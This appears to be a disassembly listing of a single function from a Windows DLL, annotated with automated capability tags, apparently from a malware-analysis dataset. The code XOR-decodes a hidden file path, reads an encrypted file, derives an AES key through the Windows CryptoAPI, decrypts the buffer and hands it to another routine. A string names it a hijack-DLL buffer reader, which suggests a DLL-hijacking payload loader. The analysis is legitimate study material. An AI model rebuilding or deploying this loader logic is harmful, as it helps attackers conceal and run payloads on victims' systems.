Function at 0x1800023d0
Capabilities:
Encode data using xor
Get file size
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x180023008]
xor rax, rsp
mov qword [rbp + 0x200], rax
lea rcx, str.HijackdllReadBuffer
call fcn.180001010
xor edx, edx
lea rcx, [rbp - 0x10]
mov r8d, 0x208
call fcn.180004490
xor r14d, r14d
lea rcx, [rsp + 0x68]
xor edx, edx
mov dword [rsp + 0x58], r14d
lea r8d, [r14 + 0x20]
call qword [0x180024ca0]
movdqa xmm0, xmmword [0x1800207d0]
lea rax, [rbp - 0x60]
movdqa xmm1, xmmword [0x1800207c0]
mov ecx, r14d
movdqa xmm2, xmmword [0x180020800]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm0, xmmword [0x1800207b0]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm1, xmmword [0x1800207a0]
movdqu xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x180020790]
movdqu xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x1800207e0]
movdqu xmmword [rbp - 0x30], xmm0
movdqu xmmword [rbp - 0x20], xmm1
nop
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm0, xmm2
movdqu xmmword [rax - 0x30], xmm0
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x40
jb 0x180002490
cmp ecx, 0x60
jae 0x1800024fe
movsxd rax, ecx
lea rax, [rbp + rax - 0x70]
nop dword [rax]
xor byte [rax], 0xe5
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x60
jb 0x1800024f0
mov r8d, 0x104
mov qword [rsp + 0x320], rsi
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov edx, 1
mov qword [rsp + 0x30], r14
mov r8d, edx
mov dword [rsp + 0x28], 2
xor r9d, r9d
mov dword [rsp + 0x20], 3
lea rcx, [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800026f1
xor edx, edx
mov qword [rsp + 0x328], rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x1000
add eax, 0xfffffff0
mov edx, eax
mov dword [rsp + 0x40], eax
lea r9d, [rcx + 4]
call qword [0x180024ca8]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rax
mov qword [rsp + 0x20], r14
mov rcx, rbx
mov rsi, rax
call qword [0x180024cd0]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x20], r14
mov r8d, 0x10
lea rdx, [rsp + 0x68]
mov rcx, rbx
call qword [0x180024cd0]
mov rax, qword [0x180024c70]
lea rcx, [rsp + 0x50]
mov r9d, 0x18
mov qword [rsp + 0x50], r14
xor r8d, r8d
mov qword [rsp + 0x60], r14
xor edx, edx
mov qword [rsp + 0x48], r14
xor dil, dil
mov dword [rsp + 0x20], 0xf0000000
call rax
test eax, eax
je 0x18000269b
mov rax, qword [0x180024c60]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0x50]
xor r8d, r8d
mov edx, 0x8004
call rax
test eax, eax
je 0x18000269b
mov rax, qword [0x180024c78]
lea rdx, [rsp + 0x68]
mov rcx, qword [rsp + 0x48]
xor r9d, r9d
lea r8d, [r9 + 0x20]
call rax
test eax, eax
je 0x18000269b
mov rax, qword [0x180024c80]
lea rcx, [rsp + 0x60]
mov r8, qword [rsp + 0x48]
mov r9d, 1
mov qword [rsp + 0x20], rcx
mov edx, 0x6610
mov rcx, qword [rsp + 0x50]
call rax
test eax, eax
je 0x18000269b
mov rax, qword [0x180024c88]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x20], rsi
lea r8d, [r9 + 1]
call rax
test eax, eax
je 0x180002696
mov dil, 1
jmp 0x18000269b
mov dword [rsp + 0x40], r14d
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1800026ab
call qword [0x180024c58]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1800026bb
call qword [0x180024c68]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1800026cd
xor edx, edx
call qword [0x180024c48]
test dil, dil
mov rdi, qword [rsp + 0x328]
je 0x1800026f1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [rsp + 0x40]
mov rcx, rsi
call fcn.1800021b0
jmp 0x1800026f3
xor eax, eax
mov rsi, qword [rsp + 0x320]
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.180002cc0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret